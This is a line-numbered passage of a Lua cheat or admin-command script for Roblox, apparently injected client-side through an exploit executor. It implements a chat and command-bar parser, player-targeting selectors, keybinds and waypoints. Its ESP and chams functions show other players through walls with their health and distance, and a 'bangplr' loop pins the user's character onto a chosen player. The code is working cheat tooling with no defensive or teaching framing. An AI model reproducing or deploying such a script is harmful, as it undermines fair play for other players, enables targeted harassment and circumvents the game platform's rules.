2794 return i
2795 end
2796 end
2797 return false
2798end
2799
2800function respawn(plr)
2801 if r15(plr) then
2802 plr.Character:FindFirstChildOfClass('Humanoid').Health = 0
2803 wait(0.1)
2804 plr.Character.Head.CFrame = CFrame.new(1000000,0,1000000)
2805 plr.Character.HumanoidRootPart:Destroy()
2806 else
2807 plr.Character:Destroy()
2808 local M = Instance.new('Model', workspace) M.Name = 'respawn_iy'
2809 local H = Instance.new('Humanoid', M)
2810 local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false T.Transparency = 1
2811 plr.Character = M
2812 end
2813end
2814
2815local refreshCmd = false
2816
2817function refresh(plr)
2818 spawn(function()
2819 refreshCmd = true
2820 local rpos = plr.Character.HumanoidRootPart.Position
2821 wait()
2822 respawn(plr)
2823 wait()
2824 repeat wait() until plr.Character ~= nil and plr.Character:FindFirstChild('HumanoidRootPart')
2825 wait(.1)
2826 plr.Character:MoveTo(rpos)
2827 wait()
2828 refreshCmd = false
2829 end)
2830end
2831
2832local Clip = true
2833local oldCframe
2834local currentTool
2835local lastDeath
2836
2837Players.LocalPlayer.CharacterAdded:Connect(function()
2838 FLYING = false
2839 Floating = false
2840 bangplr = nil
2841
2842 if not Clip then
2843 execCmd('clip nonotify',Players.LocalPlayer,true)
2844 end
2845
2846 if #spawnCmds > 0 then
2847 for i,v in pairs(spawnCmds)do
2848 spawn(function()
2849 wait(v.DELAY)
2850 execCmd(v.COMMAND,Players.LocalPlayer,true)
2851 end)
2852 end
2853 end
2854
2855 repeat wait() until Players.LocalPlayer.Character ~= nil and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart')
2856
2857 if spawnpoint and not refreshCmd and spawnpos ~= nil then
2858 wait(.1)
2859 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = spawnpos
2860 end
2861end)
2862
2863wait()
2864if Players.LocalPlayer.Character ~= nil and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid') then
2865 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Died:connect(function()
2866 if Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
2867 lastDeath = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
2868 end
2869 end)
2870end
2871
2872Players.LocalPlayer.CharacterRemoving:Connect(function()
2873 if Players.LocalPlayer.Character then
2874 local r = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
2875 if r ~= nil then oldCframe = r.CFrame end
2876 currentTool = Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
2877 end
2878end)
2879
2880local std={}
2881std.inTable=function(tbl,val)
2882 if tbl==nil then return false end
2883 for _,v in pairs(tbl)do
2884 if v==val then return true end
2885 end
2886 return false
2887end
2888
2889function getstring(begin)
2890 local start = begin-1
2891 local AA = '' for i,v in pairs(cargs) do
2892 if i > start then
2893 if AA ~= '' then
2894 AA = AA .. ' ' .. v
2895 else
2896 AA = AA .. v
2897 end
2898 end
2899 end
2900 return AA
2901end
2902
2903local findCmd=function(cmd_name)
2904 for i,v in pairs(cmds)do
2905 if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower()) then
2906 return v
2907 end
2908 end
2909 return customAlias[cmd_name:lower()]
2910end
2911
2912local function splitString(str,delim)
2913 local broken = {}
2914 if delim == nil then delim = "," end
2915 for w in string.gmatch(str,"[^"..delim.."]+") do
2916 table.insert(broken,w)
2917 end
2918 return broken
2919end
2920
2921local historyCount = 0
2922local cmdHistory = {}
2923local split=" "
2924lastBreakTime = 0
2925function execCmd(cmdStr,speaker,isScript)
2926 spawn(function()
2927 if canvasPos ~= nil and not isScript then
2928 CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
2929 canvasTop = false
2930 end
2931 local rawCmdStr = cmdStr
2932 cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%")
2933 local commandsToRun = splitString(cmdStr,"\\")
2934 for i,v in pairs(commandsToRun) do
2935 v = string.gsub(v,"%%BackSlash%%","\\")
2936 local x,y,num = v:find("^(%d+)%^")
2937 local cmdDelay = 0
2938 if num then
2939 v = v:sub(y+1)
2940 local x,y,del = v:find("^([%d%.]+)%^")
2941 if del then
2942 v = v:sub(y+1)
2943 cmdDelay = tonumber(del) or 0
2944 end
2945 end
2946 num = tonumber(num or 1)
2947 local args = splitString(v,split)
2948 local cmd = findCmd(args[1])
2949 if cmd then
2950 table.remove(args,1)
2951 cargs = args
2952 if speaker == Players.LocalPlayer then
2953 if cmdHistory[1] ~= rawCmdStr then table.insert(cmdHistory,1,rawCmdStr) end
2954 end
2955 if #cmdHistory > 20 then table.remove(cmdHistory) end
2956 local cmdStartTime = tick()
2957 for rep = 1,num do
2958 if lastBreakTime > cmdStartTime then break end
2959 pcall(function()
2960 cmd.FUNC(args, speaker)
2961 end)
2962 if cmdDelay ~= 0 then wait(cmdDelay) end
2963 end
2964 end
2965 end
2966 end)
2967end
2968
2969function addcmd(name,alias,func,plgn)
2970 cmds[#cmds+1]=
2971 {
2972 NAME=name;
2973 ALIAS=alias;
2974 FUNC=func;
2975 PLUGIN=plgn;
2976 }
2977end
2978
2979function addbind(cmd,key)
2980 binds[#binds+1]=
2981 {
2982 COMMAND=cmd;
2983 KEY=key;
2984 }
2985end
2986
2987function addspawn(cmd,sDelay)
2988 spawnCmds[#spawnCmds+1]=
2989 {
2990 COMMAND=cmd;
2991 DELAY=sDelay;
2992 }
2993end
2994
2995function addcmdtext(text,name,desc)
2996 local newcmd = Holder.Example:Clone()
2997 newcmd.Parent = Holder.CMDs
2998 newcmd.Visible = false
2999 newcmd.Text = text
3000 newcmd.Name = 'PLUGIN_'..name
3001 if desc then
3002 newcmd.MouseButton1Click:Connect(function()
3003 notify(text,desc)
3004 end)
3005 end
3006end
3007
3008local SpecialPlayerCases = {
3009 ["all"] = function(speaker)return Players:GetPlayers() end,
3010 ["others"] = function(speaker)
3011 local plrs = {}
3012 for i,v in pairs(Players:GetPlayers()) do
3013 if v ~= speaker then
3014 table.insert(plrs,v)
3015 end
3016 end
3017 return plrs
3018 end,
3019 ["me"] = function(speaker)return {speaker} end,
3020 ["#(%d+)"] = function(speaker,args,currentList)
3021 local returns = {}
3022 local randAmount = tonumber(args[1])
3023 local players = {unpack(currentList)}
3024 for i = 1,randAmount do
3025 if #players == 0 then break end
3026 local randIndex = math.random(1,#players)
3027 table.insert(returns,players[randIndex])
3028 table.remove(players,randIndex)
3029 end
3030 return returns
3031 end,
3032 ["random"] = function(speaker,args,currentList)
3033 local players = currentList
3034 return {players[math.random(1,#players)]}
3035 end,
3036 ["%%(.+)"] = function(speaker,args)
3037 local returns = {}
3038 local team = args[1]
3039 for _,plr in pairs(Players:GetPlayers()) do
3040 if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then
3041 table.insert(returns,plr)
3042 end
3043 end
3044 return returns
3045 end,
3046 ["allies"] = function(speaker)
3047 local returns = {}
3048 local team = speaker.Team
3049 for _,plr in pairs(Players:GetPlayers()) do
3050 if plr.Team == team then
3051 table.insert(returns,plr)
3052 end
3053 end
3054 return returns
3055 end,
3056 ["enemies"] = function(speaker)
3057 local returns = {}
3058 local team = speaker.Team
3059 for _,plr in pairs(Players:GetPlayers()) do
3060 if plr.Team ~= team then
3061 table.insert(returns,plr)
3062 end
3063 end
3064 return returns
3065 end,
3066 ["team"] = function(speaker)
3067 local returns = {}
3068 local team = speaker.Team
3069 for _,plr in pairs(Players:GetPlayers()) do
3070 if plr.Team == team then
3071 table.insert(returns,plr)
3072 end
3073 end
3074 return returns
3075 end,
3076 ["nonteam"] = function(speaker)
3077 local returns = {}
3078 local team = speaker.Team
3079 for _,plr in pairs(Players:GetPlayers()) do
3080 if plr.Team ~= team then
3081 table.insert(returns,plr)
3082 end
3083 end
3084 return returns
3085 end,
3086 ["friends"] = function(speaker,args)
3087 local returns = {}
3088 for _,plr in pairs(Players:GetPlayers()) do
3089 if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
3090 table.insert(returns,plr)
3091 end
3092 end
3093 return returns
3094 end,
3095 ["nonfriends"] = function(speaker,args)
3096 local returns = {}
3097 for _,plr in pairs(Players:GetPlayers()) do
3098 if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
3099 table.insert(returns,plr)
3100 end
3101 end
3102 return returns
3103 end,
3104 ["guests"] = function(speaker,args)
3105 local returns = {}
3106 for _,plr in pairs(Players:GetPlayers()) do
3107 if plr.Guest then
3108 table.insert(returns,plr)
3109 end
3110 end
3111 return returns
3112 end,
3113 ["bacons"] = function(speaker,args)
3114 local returns = {}
3115 for _,plr in pairs(Players:GetPlayers()) do
3116 if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then
3117 table.insert(returns,plr)
3118 end
3119 end
3120 return returns
3121 end,
3122 ["age(%d+)"] = function(speaker,args)
3123 local returns = {}
3124 local age = tonumber(args[1])
3125 if not age == nil then return end
3126 for _,plr in pairs(Players:GetPlayers()) do
3127 if plr.AccountAge <= age then
3128 table.insert(returns,plr)
3129 end
3130 end
3131 return returns
3132 end,
3133 ["rad(%d+)"] = function(speaker,args)
3134 local returns = {}
3135 local radius = tonumber(args[1])
3136 local speakerChar = speaker.Character
3137 if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
3138 for _,plr in pairs(Players:GetPlayers()) do
3139 if plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
3140 local magnitude = (plr.Character:FindFirstChild("HumanoidRootPart").Position-speakerChar.HumanoidRootPart.Position).magnitude
3141 if magnitude <= radius then table.insert(returns,plr) end
3142 end
3143 end
3144 return returns
3145 end
3146}
3147
3148local function toTokens(str)
3149 local tokens = {}
3150 for op,name in string.gmatch(str,"([+-])([^+-]+)") do
3151 table.insert(tokens,{Operator = op,Name = name})
3152 end
3153 return tokens
3154end
3155
3156local function onlyIncludeInTable(tab,matches)
3157 local matchTable = {}
3158 local resultTable = {}
3159 for i,v in pairs(matches) do matchTable[v.Name] = true end
3160 for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end
3161 return resultTable
3162end
3163
3164local function removeTableMatches(tab,matches)
3165 local matchTable = {}
3166 local resultTable = {}
3167 for i,v in pairs(matches) do matchTable[v.Name] = true end
3168 for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end
3169 return resultTable
3170end
3171
3172local function getPlayersByName(name)
3173 local found = {}
3174 for i,v in pairs(Players:GetChildren()) do
3175 if string.sub(string.lower(v.Name),1,#name) == string.lower(name) then
3176 table.insert(found,v)
3177 end
3178 end
3179 return found
3180end
3181
3182function getPlayer(list,speaker)
3183 if list == nil then return {speaker.Name} end
3184 local nameList = splitString(list,",")
3185
3186 local foundList = {}
3187
3188 for _,name in pairs(nameList) do
3189 if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end
3190 local tokens = toTokens(name)
3191 local initialPlayers = Players:GetPlayers()
3192
3193 for i,v in pairs(tokens) do
3194 if v.Operator == "+" then
3195 local tokenContent = v.Name
3196 local foundCase = false
3197 for regex,case in pairs(SpecialPlayerCases) do
3198 local matches = {string.match(tokenContent,"^"..regex.."$")}
3199 if #matches > 0 then
3200 foundCase = true
3201 initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers))
3202 end
3203 end
3204 if not foundCase then
3205 initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent))
3206 end
3207 else
3208 local tokenContent = v.Name
3209 local foundCase = false
3210 for regex,case in pairs(SpecialPlayerCases) do
3211 local matches = {string.match(tokenContent,"^"..regex.."$")}
3212 if #matches > 0 then
3213 foundCase = true
3214 initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers))
3215 end
3216 end
3217 if not foundCase then
3218 initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent))
3219 end
3220 end
3221 end
3222
3223 for i,v in pairs(initialPlayers) do table.insert(foundList,v) end
3224 end
3225
3226 local foundNames = {}
3227 for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end
3228
3229 return foundNames
3230end
3231
3232local getprfx=function(strn)
3233 if strn:sub(1,string.len(prefix))==prefix then return{'cmd',string.len(prefix)+1}
3234 end return
3235end
3236
3237function do_exec(str, plr)
3238 str = str:gsub('/e ', '')
3239 local t = getprfx(str)
3240 if not t then return end
3241 str = str:sub(t[2])
3242 if t[1]=='cmd' then
3243 execCmd(str, plr)
3244 IndexContents('',true,false,true)
3245 end
3246end
3247
3248
3249Players.LocalPlayer.Chatted:connect(function(message)
3250 do_exec(message, Players.LocalPlayer)
3251end)
3252
3253Holder.Cmdbar:GetPropertyChangedSignal("Text"):connect(function()
3254 if Holder.Cmdbar:IsFocused() then
3255 IndexContents(Holder.Cmdbar.Text,true,true)
3256 end
3257end)
3258
3259Holder.Cmdbar.FocusLost:connect(function(enterpressed)
3260 if enterpressed then
3261 execCmd(Holder.Cmdbar.Text,Players.LocalPlayer)
3262 end
3263 Holder.Cmdbar.Text = "Command Bar"
3264 IndexContents('',true,false,true)
3265 if canvasPos ~= nil then
3266 CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
3267 canvasTop = false
3268 end
3269 if SettingsOpen == true then
3270 wait(0.2)
3271 Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
3272 Holder.CMDs.Visible = false
3273 end
3274end)
3275
3276Holder.Cmdbar.Focused:Connect(function() historyCount = 0 end)
3277UserInputService.InputBegan:Connect(function(input)
3278 if not Holder.Cmdbar:IsFocused() then return end
3279 if input.KeyCode == Enum.KeyCode.Up then
3280 historyCount = historyCount + 1
3281 if historyCount > #cmdHistory then historyCount = #cmdHistory end
3282 Holder.Cmdbar.Text = cmdHistory[historyCount] or ""
3283 elseif input.KeyCode == Enum.KeyCode.Down then
3284 historyCount = historyCount - 1
3285 if historyCount < 1 then historyCount = 1 end
3286 Holder.Cmdbar.Text = cmdHistory[historyCount] or ""
3287 end
3288 if SettingsOpen == true then
3289 wait(0.2)
3290 Holder.CMDs.Visible = true
3291 Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
3292 end
3293end)
3294
3295ESPenabled = false
3296CHMSenabled = false
3297
3298function round(num, numDecimalPlaces)
3299 local mult = 10^(numDecimalPlaces or 0)
3300 return math.floor(num * mult + 0.5) / mult
3301 end
3302
3303function ESP(plr)
3304 spawn(function()
3305 for i,v in pairs(PARENT:GetChildren()) do
3306 if v.Name == plr.Name..'_ESP' then
3307 v:Destroy()
3308 end
3309 end
3310 wait()
3311 if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_ESP') then
3312 local ESPholder = Instance.new("Folder", PARENT)
3313 ESPholder.Name = plr.Name..'_ESP'
3314 for b,n in pairs (plr.Character:GetChildren()) do
3315 if (n:IsA("BasePart")) then
3316 local a = Instance.new("BoxHandleAdornment", ESPholder)
3317 a.Name = plr.Name
3318 a.Adornee = n
3319 a.AlwaysOnTop = true
3320 a.ZIndex = 0
3321 a.Size = n.Size
3322 a.Transparency = 0.7
3323 if plr.TeamColor == Players.LocalPlayer.TeamColor then
3324 a.Color = BrickColor.new("Lime green")
3325 else
3326 a.Color = BrickColor.new("Really red")
3327 end
3328 end
3329 end
3330 if plr.Character and plr.Character:FindFirstChild('Head') then
3331 local BillboardGui = Instance.new("BillboardGui", ESPholder)
3332 local TextLabel = Instance.new("TextLabel")
3333 BillboardGui.Adornee = plr.Character.Head
3334 BillboardGui.Name = plr.Name
3335 BillboardGui.Size = UDim2.new(0, 100, 0, 150)
3336 BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
3337 BillboardGui.AlwaysOnTop = true
3338 TextLabel.Parent = BillboardGui
3339 TextLabel.BackgroundTransparency = 1
3340 TextLabel.Position = UDim2.new(0, 0, 0, -50)
3341 TextLabel.Size = UDim2.new(0, 100, 0, 100)
3342 TextLabel.Font = Enum.Font.SourceSansSemibold
3343 TextLabel.TextSize = 20
3344 TextLabel.TextColor3 = Color3.new(1, 1, 1)
3345 TextLabel.TextStrokeTransparency = 0
3346 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
3347 plr.CharacterAdded:Connect(function()
3348 if ESPenabled then
3349 espLoopFunc:Disconnect()
3350 ESPholder:Destroy()
3351 repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
3352 ESP(plr)
3353 end
3354 end)
3355 local function espLoop()
3356 if PARENT:FindFirstChild(plr.Name..'_ESP') then
3357 if plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
3358 local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
3359 TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
3360 end
3361 else
3362 espLoopFunc:Disconnect()
3363 end
3364 end
3365 espLoopFunc = game:GetService("RunService").RenderStepped:Connect(espLoop)
3366 end
3367 end
3368 end)
3369end
3370
3371function CHMS(plr)
3372 spawn(function()
3373 for i,v in pairs(PARENT:GetChildren()) do
3374 if v.Name == plr.Name..'_CHMS' then
3375 v:Destroy()
3376 end
3377 end
3378 wait()
3379 if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_CHMS') then
3380 local ESPholder = Instance.new("Folder", PARENT)
3381 ESPholder.Name = plr.Name..'_CHMS'
3382 for b,n in pairs (plr.Character:GetChildren()) do
3383 if (n:IsA("BasePart")) then
3384 local a = Instance.new("BoxHandleAdornment", ESPholder)
3385 a.Name = plr.Name
3386 a.Adornee = n
3387 a.AlwaysOnTop = true
3388 a.ZIndex = 0
3389 a.Size = n.Size
3390 a.Transparency = 0.7
3391 if plr.TeamColor == Players.LocalPlayer.TeamColor then
3392 a.Color = BrickColor.new("Lime green")
3393 else
3394 a.Color = BrickColor.new("Really red")
3395 end
3396 end
3397 end
3398 plr.CharacterAdded:Connect(function()
3399 if CHMSenabled then
3400 ESPholder:Destroy()
3401 repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
3402 CHMS(plr)
3403 end
3404 end)
3405 end
3406 end)
3407end
3408
3409function Locate(plr)
3410 spawn(function()
3411 for i,v in pairs(PARENT:GetChildren()) do
3412 if v.Name == plr.Name..'_LC' then
3413 v:Destroy()
3414 end
3415 end
3416 wait()
3417 if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_LC') then
3418 local ESPholder = Instance.new("Folder", PARENT)
3419 ESPholder.Name = plr.Name..'_LC'
3420 for b,n in pairs (plr.Character:GetChildren()) do
3421 if (n:IsA("BasePart")) then
3422 local a = Instance.new("BoxHandleAdornment", ESPholder)
3423 a.Name = plr.Name
3424 a.Adornee = n
3425 a.AlwaysOnTop = true
3426 a.ZIndex = 0
3427 a.Size = n.Size
3428 a.Transparency = 0.7
3429 if plr.TeamColor == Players.LocalPlayer.TeamColor then
3430 a.Color = BrickColor.new("Lime green")
3431 else
3432 a.Color = BrickColor.new("Really red")
3433 end
3434 end
3435 end
3436 if plr.Character and plr.Character:FindFirstChild('Head') then
3437 local BillboardGui = Instance.new("BillboardGui", ESPholder)
3438 local TextLabel = Instance.new("TextLabel")
3439 BillboardGui.Adornee = plr.Character.Head
3440 BillboardGui.Name = plr.Name
3441 BillboardGui.Size = UDim2.new(0, 100, 0, 150)
3442 BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
3443 BillboardGui.AlwaysOnTop = true
3444 TextLabel.Parent = BillboardGui
3445 TextLabel.BackgroundTransparency = 1
3446 TextLabel.Position = UDim2.new(0, 0, 0, -50)
3447 TextLabel.Size = UDim2.new(0, 100, 0, 100)
3448 TextLabel.Font = Enum.Font.SourceSansSemibold
3449 TextLabel.TextSize = 20
3450 TextLabel.TextColor3 = Color3.new(1, 1, 1)
3451 TextLabel.TextStrokeTransparency = 0
3452 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
3453 plr.CharacterAdded:Connect(function()
3454 if ESPholder ~= nil and ESPholder.Parent ~= nil then
3455 lcLoopFunc:Disconnect()
3456 ESPholder:Destroy()
3457 repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
3458 Locate(plr)
3459 end
3460 end)
3461 local function lcLoop()
3462 if PARENT:FindFirstChild(plr.Name..'_LC') then
3463 if plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
3464 local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
3465 TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
3466 end
3467 else
3468 lcLoopFunc:Disconnect()
3469 end
3470 end
3471 lcLoopFunc = game:GetService("RunService").RenderStepped:Connect(lcLoop)
3472 end
3473 end
3474 end)
3475end
3476
3477bindsGUI = KeybindEditor
3478awaitingInput = false
3479keySelected = false
3480
3481function unkeybind(cmd,key)
3482 for i = #binds,1,-1 do
3483 if binds[i].COMMAND == cmd and binds[i].KEY == key then
3484 table.remove(binds, i)
3485 end
3486 end
3487 refreshbinds()
3488 updatesaves()
3489 if key == 'RightClick' or key == 'LeftClick' then
3490 notify('Keybinds Updated','Unbinded '..key..' from '..cmd)
3491 else
3492 notify('Keybinds Updated','Unbinded '..key:sub(14)..' from '..cmd)
3493 end
3494end
3495
3496function refreshbinds()
3497 if Holder_2 then
3498 Holder_2:ClearAllChildren()
3499 Holder_2.CanvasSize = UDim2.new(0, 0, 0, 10)
3500 for i = 1, #binds do
3501 local YSize = 25
3502 local Position = ((i * YSize) - YSize)
3503 local newbind = Example_2:Clone()
3504 newbind.Parent = Holder_2
3505 newbind.Visible = true
3506 newbind.Position = UDim2.new(0,0,0, Position + 5)
3507 local input = tostring(binds[i].KEY)
3508 local key
3509 if input == 'RightClick' or input == 'LeftClick' then
3510 key = input
3511 else
3512 key = input:sub(14)
3513 end
3514 newbind.Text.Text = key.." > "..binds[i].COMMAND
3515 Holder_2.CanvasSize = UDim2.new(0,0,0, Position + 30)
3516 newbind.Text.Delete.MouseButton1Click:Connect(function()
3517 unkeybind(binds[i].COMMAND,binds[i].KEY)
3518 end)
3519 end
3520 end
3521end
3522
3523refreshbinds()
3524
3525PositionsFrame.Delete.MouseButton1Click:Connect(function()
3526 execCmd('cpos',Players.LocalPlayer,true)
3527end)
3528
3529function refreshwaypoints()
3530 if #WayPoints > 0 or #pWayPoints > 0 then
3531 PositionsHint:Destroy()
3532 end
3533 if Holder_4 then
3534 Holder_4:ClearAllChildren()
3535 Holder_4.CanvasSize = UDim2.new(0, 0, 0, 10)
3536 local YSize = 25
3537 local num = 1
3538 for i = 1, #WayPoints do
3539 local Position = ((num * YSize) - YSize)
3540 local newpoint = Example_4:Clone()
3541 newpoint.Parent = Holder_4
3542 newpoint.Visible = true
3543 newpoint.Position = UDim2.new(0,0,0, Position + 5)
3544 newpoint.Text.Text = WayPoints[i].NAME
3545 Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
3546 newpoint.Text.Delete.MouseButton1Click:Connect(function()
3547 execCmd('dpos '..WayPoints[i].NAME,Players.LocalPlayer,true)
3548 end)
3549 newpoint.Text.TP.MouseButton1Click:Connect(function()
3550 execCmd("loadpos "..WayPoints[i].NAME,Players.LocalPlayer,true)
3551 end)
3552 num = num+1
3553 end
3554 for i = 1, #pWayPoints do
3555 local Position = ((num * YSize) - YSize)
3556 local newpoint = Example_4:Clone()
3557 newpoint.Parent = Holder_4
3558 newpoint.Visible = true
3559 newpoint.Position = UDim2.new(0,0,0, Position + 5)
3560 newpoint.Text.Text = pWayPoints[i].NAME
3561 Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
3562 newpoint.Text.Delete.MouseButton1Click:Connect(function()
3563 execCmd('dpos '..pWayPoints[i].NAME,Players.LocalPlayer,true)
3564 end)
3565 newpoint.Text.TP.MouseButton1Click:Connect(function()
3566 execCmd("loadpos "..pWayPoints[i].NAME,Players.LocalPlayer,true)
3567 end)
3568 num = num+1
3569 end
3570 end
3571end
3572
3573refreshwaypoints()
3574
3575function removeSpawnC(cmd,Delay)
3576 for i = #spawnCmds,1,-1 do
3577 if spawnCmds[i].COMMAND == cmd and spawnCmds[i].DELAY == Delay then
3578 table.remove(spawnCmds, i)
3579 end
3580 end
3581 refreshSpawnC()
3582 updatesaves()
3583 notify('Spawn Commands Updated','Removed "'..cmd..'" from spawn commands')
3584end
3585
3586function refreshSpawnC()
3587 if Holder_6 then
3588 Holder_6:ClearAllChildren()
3589 Holder_6.CanvasSize = UDim2.new(0, 0, 0, 10)
3590 for i = 1, #spawnCmds do
3591 local YSize = 25
3592 local Position = ((i * YSize) - YSize)
3593 local newpoint = Example_2:Clone()
3594 newpoint.Parent = Holder_6
3595 newpoint.Visible = true
3596 newpoint.Position = UDim2.new(0,0,0, Position + 5)
3597 if spawnCmds[i].DELAY == 0 or spawnCmds[i].DELAY == '0' then
3598 newpoint.Text.Text = spawnCmds[i].COMMAND
3599 else
3600 newpoint.Text.Text = spawnCmds[i].COMMAND..' (Delay '..spawnCmds[i].DELAY..')'
3601 end
3602 Holder_6.CanvasSize = UDim2.new(0,0,0, Position + 30)
3603 newpoint.Text.Delete.MouseButton1Click:Connect(function()
3604 removeSpawnC(spawnCmds[i].COMMAND,spawnCmds[i].DELAY)
3605 refreshSpawnC()
3606 end)
3607 end
3608 end
3609end
3610
3611refreshSpawnC()
3612
3613function refreshaliases()
3614 if #aliases > 0 then
3615 AliasHint:Destroy()
3616 end
3617 if Holder_3 then
3618 Holder_3:ClearAllChildren()
3619 Holder_3.CanvasSize = UDim2.new(0, 0, 0, 10)
3620 for i = 1, #aliases do
3621 local YSize = 25
3622 local Position = ((i * YSize) - YSize)
3623 local newalias = Example_3:Clone()
3624 newalias.Parent = Holder_3
3625 newalias.Visible = true
3626 newalias.Position = UDim2.new(0,0,0, Position + 5)
3627 newalias.Text.Text = aliases[i].CMD.." > "..aliases[i].ALIAS
3628 Holder_3.CanvasSize = UDim2.new(0,0,0, Position + 30)
3629 newalias.Text.Delete.MouseButton1Click:Connect(function()
3630 execCmd('removealias '..aliases[i].ALIAS,Players.LocalPlayer,true)
3631 end)
3632 end
3633 end
3634end
3635
3636BindTo.MouseButton1Click:Connect(function()
3637 awaitingInput = true
3638 BindTo.Text = 'Press something'
3639end)
3640
3641Add_2.MouseButton1Click:Connect(function()
3642 if keySelected then
3643 if string.find(Cmdbar_2.Text, "\\\\") then
3644 notify('Keybind Error','Only use one backslash to keybind multiple commands into one keybind or command')
3645 else
3646 addbind(Cmdbar_2.Text,keyPressed)
3647 refreshbinds()
3648 updatesaves()
3649 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3650 notify('Keybinds Updated','Binded '..keyPressed..' to '..Cmdbar_2.Text)
3651 else
3652 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to '..Cmdbar_2.Text)
3653 end
3654 end
3655 end
3656end)
3657
3658Exit_2.MouseButton1Click:Connect(function()
3659 Cmdbar_2.Text = 'Command'
3660 BindTo.Text = 'Click to bind'
3661 keySelected = false
3662 KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
3663end)
3664
3665local function onInputBegan(input,gameProcessed)
3666 if awaitingInput then
3667 if input.UserInputType == Enum.UserInputType.Keyboard then
3668 keyPressed = tostring(input.KeyCode)
3669 BindTo.Text = keyPressed:sub(14)
3670 elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
3671 keyPressed = 'LeftClick'
3672 BindTo.Text = 'LeftClick'
3673 elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
3674 keyPressed = 'RightClick'
3675 BindTo.Text = 'RightClick'
3676 end
3677 awaitingInput = false
3678 keySelected = true
3679 end
3680 if not gameProcessed and #binds > 0 then
3681 for i,v in pairs(binds)do
3682 if input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower() then
3683 execCmd(v.COMMAND,Players.LocalPlayer,true)
3684 elseif input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick' then
3685 execCmd(v.COMMAND,Players.LocalPlayer,true)
3686 elseif input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick' then
3687 execCmd(v.COMMAND,Players.LocalPlayer,true)
3688 end
3689 end
3690 end
3691end
3692
3693UserInputService.InputBegan:connect(onInputBegan)
3694
3695game:GetService('RunService').Stepped:connect(function()
3696 if bangplr then
3697 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Players[bangplr].Character.HumanoidRootPart.CFrame
3698 end
3699 if spinenabled then
3700 pcall(function()
3701 spinning.Position = Players.LocalPlayer.Character.Head.Position
3702 end)
3703 end
3704end)
3705
3706Fly.Select.MouseButton1Click:Connect(function()
3707 if keySelected then
3708 addbind('togglefly',keyPressed)
3709 refreshbinds()
3710 updatesaves()
3711 if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
3712 notify('Keybinds Updated','Binded '..keyPressed..' to toggle fly')
3713 else
3714 notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle fly')
3715 end
3716 end
3717end)
3718
